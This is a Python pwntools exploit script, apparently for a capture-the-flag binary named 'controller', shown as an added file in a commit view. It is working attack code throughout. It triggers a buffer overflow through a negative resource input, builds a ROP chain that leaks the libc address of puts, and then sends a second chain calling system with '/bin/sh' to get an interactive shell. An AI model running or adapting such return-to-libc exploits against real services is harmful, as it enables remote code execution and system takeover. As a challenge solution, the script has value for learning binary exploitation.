1+ #!/usr/bin/python3
2+ from pwn import *
3+ from time import *
4+ import sys
5+ from struct import pack
6+ context .terminal = ['bash' , '-e' , 'sh' , '-c' ]
7+
8+ # loading all needed files
9+ #=========================================================================================+
10+ binary = ELF ('./controller' ) # loading the binary into pwntools |
11+ context .binary = binary # loading settings |
12+ p = remote (IP , PORT ) # |
13+ #p = process(binary.path) # |
14+ libc = ELF ('/usr/lib/x86_64-linux-gnu/libc-2.31.so' ) # loading libc |
15+ #=========================================================================================+
16+
17+ p .sendlineafter ('Insert the amount of 2 different types of recources: ' , '1 -198' )
18+ p .sendlineafter ('>' , '3' )
19+ log .info ("generating payload to leak libc" )
20+
21+ #======================= PAYLOAD TO LEAK LIBC ADDR ===========================+
22+ laPayload = b'\x79 ' * 40 # padding |
23+ laPayload += p64 (0x00000000004011d3 ) # pop rdi; ret |
24+ laPayload += p64 (binary .got .puts ) # libc / glibc func addr given by LD |
25+ laPayload += p64 (binary .plt .puts ) # local puts addr |
26+ laPayload += p64 (0x0000000000401066 ) # calculator addr |
27+ #=============================================================================+
28+
29+
30+ p .sendlineafter ('>' , laPayload )
31+ p .recvuntil ('reported!\n ' )
32+ puts_addr = p .recv (6 )
33+
34+
35+ libc .address = u64 (puts_addr + b'\x00 \x00 ' ) - libc .sym .puts # calculating libc addr
36+ log .info ("puts: " + hex (u64 (puts_addr + b'\x00 \x00 ' )))
37+ log .info ("libc: " + hex (libc .address ))
38+
39+ p .sendlineafter ('\n Insert the amount of 2 different types of recources:' , '1 -198' )
40+ p .sendlineafter ('>' , '3' )
41+ log .info ("generating main payload" )
42+
43+
44+ #======================= MAIN PAYLOAD CALLING "SYSTEM" FUNCTION ========================+
45+ payload = b'\x79 ' * 40 # padding |
46+ payload += p64 (0x00000000004011d4 ) # to keep correct stack alignment |
47+ payload += p64 (0x00000000004011d3 ) # pop rdi; ret |
48+ payload += p64 (libc .address + 0x18a156 ) # /bin/sh string |
49+ payload += p64 (libc .address + 0x48e50 ) # system function |
50+ #=======================================================================================+
51+
52+
53+ p .sendlineafter ('>' , payload )
54+ log .info ("payload sent" )
55+ p .recvuntil ('reported!\n ' )
56+
57+ p .interactive () # to continue interacting with user
0 commit comments